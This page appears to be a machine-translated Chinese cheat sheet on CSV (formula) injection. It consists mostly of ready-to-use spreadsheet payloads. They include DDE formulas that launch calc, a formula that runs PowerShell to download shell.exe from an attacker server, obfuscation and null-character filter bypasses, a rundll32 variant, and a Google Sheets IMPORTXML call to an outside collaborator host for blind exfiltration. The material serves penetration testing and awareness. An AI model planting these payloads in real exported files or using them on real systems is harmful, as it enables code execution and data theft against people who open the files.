CSV注入


文档摘要

CSV 注入 许多 Web 应用程序允许用户将内容(例如发票模板或用户设置)下载为 CSV 文件。许多用户选择在 Excel、LibreOffice 或 OpenOffice 中打开这些 CSV 文件。如果 Web 应用程序未对 CSV 文件的内容进行适当的验证,就可能导致单元格或多个单元格中的内容被执行。 摘要 方法论 Google Sheets 参考文献 方法论 CSV 注入,也称为公式注入,是一种安全漏洞,当不受信任的输入被包含在 CSV 文件中时就会发生。任何公式都可以通过以下方式启动: 使用 动态数据交换 (DDE) 的基本漏洞利用。 启动一个 calc 进程 下载并执行 PowerShell 脚本 前缀混淆与命令链 使用 rundll32 代替 cmd 使用空字符绕过字典过滤器。

CSV 注入

许多 Web 应用程序允许用户将内容(例如发票模板或用户设置)下载为 CSV 文件。许多用户选择在 Excel、LibreOffice 或 OpenOffice 中打开这些 CSV 文件。如果 Web 应用程序未对 CSV 文件的内容进行适当的验证,就可能导致单元格或多个单元格中的内容被执行。

摘要

方法论

CSV 注入,也称为公式注入,是一种安全漏洞,当不受信任的输入被包含在 CSV 文件中时就会发生。任何公式都可以通过以下方式启动:

= + – @

使用 动态数据交换 (DDE) 的基本漏洞利用。

  • 启动一个 calc 进程

    DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+1)*cmd|' /C calc'!A0 =2+5+cmd|' /C calc'!A0 =cmd|' /C calc'!'A1'
  • 下载并执行 PowerShell 脚本

    =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
  • 前缀混淆与命令链

    =AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A =cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A = cmd|'/c calc.exe'!A
  • 使用 rundll32 代替 cmd

    =rundll32|'URL.dll,OpenURL calc.exe'!A =rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
  • 使用空字符绕过字典过滤器。由于它们不是空格,在执行时会被忽略。

    = C m D | '/ c c al c . e x e ' ! A

上述有效载荷的技术细节:

  • cmd is the name the server can respond to whenever a client is trying to access the server
  • /C calc is the file name which in our case is the calc(i.e the calc.exe)
  • !A0 是项目名称,用于指定当客户端请求数据时,服务器可以响应的数据单元。

Google Sheets

Google Sheets 支持一些额外的公式,这些公式能够获取远程 URL:

因此,可以通过以下方式测试盲式公式注入或潜在的数据外泄:

=IMPORTXML("http://burp.collaborator.net/csv", "//a/@href")

注意:系统会弹出警告,提示用户某个公式正尝试访问外部资源,并要求用户授权。

参考文献

免责声明
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准,作为权威依据。对于关键信息,建议采用专业的人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。


发布者: 作者: 转发
评论区 (0)
U